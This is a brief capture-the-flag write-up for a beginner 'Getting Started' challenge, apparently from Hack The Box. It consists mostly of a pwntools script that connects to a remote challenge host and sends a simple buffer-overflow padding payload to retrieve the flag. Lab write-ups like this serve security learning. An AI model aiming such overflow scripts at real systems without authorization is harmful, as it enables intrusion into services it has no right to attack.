Getting Started
Personal Rating: Easy
#!/usr/bin/python3.8
'''
You need to install pwntools to run the script.
To run the script: python3 ./wrapper.py
'''
# Library
from pwn import *
# Open connection
IP = '142.93.38.14' # Change this
PORT = 32459 # Change this
r = remote(IP, PORT)
# Craft payload
payload = b'A' * 40 + b'B' * 8 # Change the number of "A"s
# Send payload
r.sendline(payload)
# Read flag
success(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}')Last updated